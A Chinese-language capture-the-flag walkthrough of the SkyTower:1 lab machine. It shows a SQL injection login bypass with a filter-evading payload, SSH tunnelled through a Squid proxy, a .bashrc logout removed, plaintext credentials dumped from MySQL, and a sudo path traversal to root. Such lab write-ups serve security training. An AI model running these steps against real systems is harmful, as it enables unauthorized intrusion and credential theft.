0x01 项目地址
0x02 靶机描述
Welcome to SkyTower:1
欢迎来到SkyTower:1
This CTF was designed by Telspace Systems for the CTF at the ITWeb Security Summit and BSidesCPT (Cape Town). The aim is to test intermediate to advanced security enthusiasts in their ability to attack a system using a multi-faceted approach and obtain the "flag".
该CTF由Telspace Systems为ITWeb安全峰会和BSidesCPT(开普敦)上的CTF设计。其目的是测试中级到高级安全爱好者使用多方面方法攻击系统并获得“标志”的能力。
You will require skills across different facets of system and application vulnerabilities, as well as an understanding of various services and how to attack them. Most of all, your logical thinking and methodical approach to penetration testing will come into play to allow you to successfully attack this system. Try different variations and approaches. You will most likely find that automated tools will not assist you.
您将需要跨系统和应用程序漏洞的不同方面的技能,以及对各种服务以及如何攻击它们的理解。最重要的是,你的逻辑思维和渗透测试的方法将发挥作用,让你成功地攻击这个系统。尝试不同的变化和方法。你很可能会发现自动化工具不会帮助你。
We encourage you to try it our for yourself first, give yourself plenty of time and then only revert to the Walkthroughs below.
我们鼓励你先尝试一下,给自己足够的时间,然后再回到下面的Walkstory。
Enjoy!
好好享受吧!
0x03 环境搭建
靶机 | Skytower:1 | NAT模式 192.168.6.156 |
攻击机 | kali | NAT模式 192.168.6.128 |
0x04 详细步骤
1.主机发现
arp-scan -l
2.端口扫描
nmap -p- 192.168.6.156
可以看到开放了80、3128两个端口
3.目录扫描
dirb http://192.168.6.156/
4.Web访问
浏览器访问192.168.6.156
,可以看到是个朴实无华的登陆界面
5.漏洞挖掘
遇到登录框可以尝试一下SQL注入,先用万能密码试一下
E-mail:1'or 1=1#
Password:1'or 1=1#
报错了,报错信息是
从报错信息可以看出,过滤了=
or
,尝试绕过,先双写or
来绕过or
E-mail:1'oorr 1=1#
Password:1'oorr 1=1#
直接登录成功了
6.漏洞利用
从提示信息中得到了用户名和密码
Username: john
Password: hereisjohn
此时第一时间想到的是ssh登录,但是端口扫描时扫到靶机的ssh端口是被过滤的,登录不上
然后看开放的另一个3128端口,搜了一下这个端口运行的是http-proxy Squid http proxy 3.1.20
,这是一个代理服务,想尝试一下能否通过这个代理服务来访问ssh的22端口
通过搜索找到了该服务的执行命令proxytunnel
和proxychains
,这里使用proxytunnel
proxytunnel -p 192.168.6.156:3128 -d 192.168.6.156:22 -a 6666
# -p 使用代理IP和端口
# -d 指定访问的目标和端口
# -a 指定本地侦听端口
在kali中新开一个终端,进行ssh连接
ssh john@127.0.0.1 -p 6666
结果连接成功了,但是马上又自动退出了。
ssh连接可以在连接的时候可以执行命令,再次尝试
ssh john@127.0.0.1 -p 6666 /bin/bash
成功拿到shell
bash
在每次启动时都会加载.bashrc
文件的内容,每个用户的home
目录都有这个shell
脚本,用来存储并加载你的终端配置和环境变量。
所以查看一下.bashrc
文件,是不是这里配置了john不能登陆。
cat .bashrc
果然在文件最后执行了exit
退出
把最后一行exit
删除
sed -i '$d' .bashrc
然后登陆主机
ssh john@127.0.0.1 -p 6666
登录成功
7.权限提升
sudo -l
权限不够
之前login.php存在sql注入,查看一下文件
cat /var/www/login.php
发现数据库信息
尝试mysql连接
mysql -u root SkyTech -p
连接成功
查看数据库信息
show databases;
进入SkyTech库,查看库中的数据
use SkyTech;
show tables;
查找login表中的所有数据
select * from login;
+----+---------------------+--------------+
| id | email | password |
+----+---------------------+--------------+
| 1 | john@skytech.com | hereisjohn |
| 2 | sara@skytech.com | ihatethisjob |
| 3 | william@skytech.com | senseable |
+----+---------------------+--------------+
远程连接sara用户
ssh sara@127.0.0.1 -p 6666
熟悉的登录后退出,按照之前的方法再次尝试登录
ssh sara@127.0.0.1 -p 6666 /bin/bash
cat .bashrc
果然又是在文件最后执行了exit
退出
把最后一行exit
删除
sed -i '$d' .bashrc
然后登陆主机
ssh sara@127.0.0.1 -p 6666
登录成功
sudo -l
发现可以在/accounts/*
使用使用root
的cat
和ls
命令
查看一下根目录,发现了flag.txt
文件,查看这个文件
sudo ls /accounts/../root
sudo cat /accounts/../root/flag.txt
# flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
得到root
用户的密码
root:theskytower
切换root
用户
su root
password:theskytower
完结撒花!